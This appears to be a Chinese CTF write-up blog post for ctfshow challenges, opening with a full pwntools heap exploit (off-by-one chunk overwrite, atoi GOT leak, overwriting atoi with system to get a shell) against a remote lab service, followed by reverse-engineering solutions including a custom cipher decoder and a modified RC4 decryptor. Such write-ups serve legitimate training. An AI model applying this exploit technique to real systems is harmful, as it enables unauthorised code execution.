p=remote('pwn.challenge.ctf.show',28055)
elf=ELF('./ezheap')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc-2.27.so')
def add(size,content):
    p.sendlineafter(':','1')
    p.sendlineafter(' ?',str(size))
    p.sendlineafter('nest?',content)
def edit(idx,content):
    p.sendlineafter(':','2')
    p.sendlineafter(' :',str(idx))
    p.sendlineafter('nest?',content)
def show(idx):
    p.sendlineafter(':','3')
    p.sendlineafter('Index :',str(idx))
def free(idx):
    p.sendlineafter(':','4')
    p.sendlineafter('Index :',str(idx))
add(0x18,'aaa')
add(0x10,'bbb')
#1add(0x10,'ccc')
add(0x10,'cccc')
edit(0,'a'*0x18+'\x91')
free(1)
add(0x80,p64(0x8)+p64(0)+p64(0)+p64(0x21)+p64(80)+p64(elf.got['atoi']))
show(1)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['atoi']
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
edit(1,p64(system))
#show(0)
sleep(1)
p.sendlineafter('choice :','/bin/sh\x00')
p.interactive()

RE

ezmore

首先运行程序就研究出来,需要先输入2,再输入8,然后输入一个值来验证。
首先进入dd922ad47494fc02c388e12c00eacDownload
然后可以知道,输入进来的a1是‘flag’,然后因为是dword,刚刚复制的地址也是4个字节,所以这里是104+4?,将v3,v4,v5撸下来之后,总共是52字节,所以这里的a3[104+4j]就相当于a3[26+j]
然后经过3次循环,算出l,进入后面的循环,eaa30be5cd6795eb89681e19265d65e1
就是交换值,最后字节型的(i+a2) = l+97
exp:

v5 = [0x18, 0x19, 0x1a, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x15, 0x3, 0xf, 0x1, 0x13, 0xa, 0xe, 0x1a, 0x14, 0x8, 0x10, 0x10, 0x7, 0x16, 0x4, 0xb, 0x5, 0x11, 0x9, 0xc, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a]
v4 = [0x1a, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1, 0x14, 0x1, 0x6, 0x4, 0xf, 0x3, 0xe, 0xc, 0x17, 0x5, 0x10, 0x2, 0x16, 0x13, 0xb, 0x12, 0x19, 0x18, 0xd, 0x7, 0xa, 0x8, 0x15, 0x9, 0x1a, 0x11]
v3 = [0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x8, 0x1a, 0x11, 0x14, 0x16, 0xa, 0x3, 0xd, 0xb, 0x4, 0x17, 0x5, 0x18, 0x9, 0xc, 0x19, 0x10, 0x13, 0x6, 0xf, 0x15, 0x2, 0x7, 0x1, 0x4, 0xe]
a1 = 'flag'
v6 = ''
v9 = 0
v10 = 0

def eaa30be5cd6795eb89681e19265d65e1(a1):
    v3 = a1[0]
    v2 = a1[26]
    for i in range(25):
        a1[i] = a1[i+1]
        a1[i+26] = a1[i + 1 +26]
    a1[25] = v3
    result = v2
    a1[51] = v2
    return result


for tmp in range(len(a1)):
    for j in range(26):
        if(v5[26+j] == v5[ord(a1[tmp])-97]):
            break
    for k in range(26):
        if(v4[26+k] == v4[j]):
            break
    for l in range(26):
        if(v3[26+l] == v3[k]):
            break
    print(l)
    v10 += 1
    if(v10%26 == 0):
        v9 += 1
        eaa30be5cd6795eb89681e19265d65e1(v4)
    if(v9 %26 ==0):
        eaa30be5cd6795eb89681e19265d65e1(v5)
    v6 += chr(l+96)
print(v6)

输出:

14
5
6
20
neft

一步一步跟着输,得到ctfshow{md5(neft)}

EzAutoRE

这题给了一个nc端口连进去,得到题目,给了一段很长很长的base64 要在3S内解出
只能逐步解,找规律,base64转文件,发现是个elf,看到UPX加壳。
那么简单的脱下壳,看一下函数,简单来说就是一个128的非齐次方程组
最后琢磨了挺久的,最后出来了,这里只是讲一下当时的思路,没去复现了

EZ.png

有手就行

主要加密是改RC4,利用了onexit函数的特性
exp:

box=[0]*256
k='keykeykey'
t=[0]*256

rr=[220,71,127,110,154,216,96,119,244,176,140,84,176,170,38,35,2,66,142,186,144,140,171,134,36,110,248]

for i in range(256):
    box[i]=256-i
    t[i]=ord(k[i%len(k)])
j=0
for i in range(256):
    j=(j+box[i]+t[i])%256
    (box[i],box[j])=(box[j],box[i])

i=0
j=0
for k in range(27):
    i = (i + 1) % 256
    j = (j + box[i]) % 256
    (box[i],box[j])=(box[j],box[i])
    rr[k]^=box[(box[i]+box[j])%256]

for i in range(len(rr)):
    rr[i]-=7
print(''.join(chr(x) for x in rr))


  1. ()

标签: none

暂无评论